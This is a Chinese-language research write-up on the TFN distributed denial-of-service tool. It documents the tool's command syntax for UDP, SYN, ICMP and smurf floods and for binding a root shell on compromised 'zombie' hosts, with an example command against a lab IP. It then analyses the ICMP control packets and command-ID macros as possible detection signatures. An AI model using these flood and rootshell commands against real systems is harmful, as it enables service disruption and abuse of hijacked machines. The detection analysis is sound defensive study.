TFN DDOS 拒绝服务攻击程序研究
作者:青青子衿
email:anzijin@sina.com
一、TFN程序的使用
1、 简介,tfn为一个运行在linux平台下的用来发起分布式拒绝服务攻击的程序,一个完整的TFN分控制端程序,和发起攻击端程序。控制端程序的名称为tfn,发起ddos攻击的程序名称为tf,这个程序个分布在多台电脑上,达到发起分布式拒绝服务攻击的效果。
2、 Tfn的使用:
(1) 、创建list.txt 文件,文件名可以是其他的。
将安装有发起ddos攻击程序tf的计算机的IP地址保存在该文件中,各IP地址之间用回车分隔。
(2) 、发出攻击指令
命令格式:tfn <iplist> <type> [ip] [port] 其中
<iplist> 是保存了众多用来发起DDOS攻击的肉鸡计算机的IP地址
<type> 发起DDOS攻击的类型
-2 <bytes> set packet size for packets used for udp/icmp/smurf attacks
-1 <mask> set spoof mask. 0 will use random ips, 1 uses the correct
class a, 2 correct class b and 3 correct class c ip value
0 stop current floods; if no floods are found, display status
1 <targets> udp flood. target is one ip or multiple ips separated by @
2 <targets> <port> syn flood. if port is 0, random ports are used.
3 <targets> icmp echo request flood.
4 <port> only if compiled with ID_SHELL. bind a rootshell to <port>
5 <target@bcasts> smurf amplifier icmp attack. unlike the above floods,
this only supports a single target. further ips separated
by @ will be used as smurf amplifier broadcast addresses
[ip] 攻击目标电脑的IP地址
[port] 攻击目标的计算机的具体端口
3、使用举例:
(1)、运行tfn 控制程序计算机的位置:192.168.111.116
运行tf程序发起ddos攻击的计算机的位置:192.168.100.32
Ddos攻击的计算机的IP位置:192.168.100.32
(2)、List.txt 文件的内容
192.168.100.30
(3)、运行tf程序
(4)、运行tfn控制程序
tfn list.txt 2 192.168.100.32
二、数据包分析
结论:经过数据包分析和源码分析,tfn程序的攻击发起消息通过ICMP协议发出,有某些特征可以用来进行精确识别,但这些特征很容易通过源码修改,来改变。
1、 原始数据包
0000 00 00 9b 29 03 7a 00 00 31 39 32 2e 31 36 38 2e ...).z..192.168.
0010 31 30 30 2e 33 32 00 100.32.
00 00 9b 29 03 7a 00 00 ICMP协议的数据包头
31 39 32 2e 31 36 38 2e ICMP协议的数据部分,发起DDOS攻击的目标计算机ip地址
9b 29 ICMP数据包的校验值
03 7a 发起DDOS攻击的类型
2、 类型的转换的分析
攻击类型名称 | 输入的类型标识 | 数据包中的类型标识 | |
ID_ACK |
| 0x7b | 123 |
ID_SHELL | 4 | 0x1c8 | 456 |
ID_PSIZE | -2 | 0x315 | 789 |
ID_SWITCH | -1 | 0xea | 234 |
ID_STOPIT | 0 | 0x237 | 567 |
ID_SENDUDP | 1 | 0x37a | 890 |
ID_SENDSYN | 2 | 0x159 | 345 |
ID_SYNPORT | //发送端口 | 0x2a6 | 678 |
ID_ICMP | 3 | 0x385 | 901 |
ID_SMURF | 5 | 0x29a | 666 |
3、 关于变种的不确定性讨论
就程序而言,可以考虑,将ICMP数据包包头中的攻击类型标识符和ICMP数据包中数据部分的IP地址结合起来作为特征来对攻击指令的识别。并通过截获的符合条件的数据包的数量来确定发起DDOS攻击的规模的大小。
但这种方法对于变种程序的攻击很难识别,原因是: 数据包中的类型标识与攻击类型的对应关系是通过config.H中的宏定义来实现的,所以这种对应关系很容易修改。
具体定义如下:
#define ID_ACK 123 /* 0x7b for replies to the client */ //
#define ID_SHELL 456 /* 0x1c8 to bind a rootshell, optional */
#define ID_PSIZE 789 /* 0x315 to change size of udp/icmp packets */
#define ID_SWITCH 234 /* 0xea to switch spoofing mode */
#define ID_STOPIT 567 /* 0x237 to stop flooding */
#define ID_SENDUDP 890 /* 0x37a to udp flood */
#define ID_SENDSYN 345 /* 0x159 to syn flood */
#define ID_SYNPORT 678 /* 0x2a6 to set port */
#define ID_ICMP 901 /* 0x385 to icmp flood */
#define ID_SMURF 666 /* 0x29a haps! haps! */
三、程序构架
1、tfn DDOS攻击主控制端程序流程图
2、 tfn DDOS受控肉鸡端程序流程图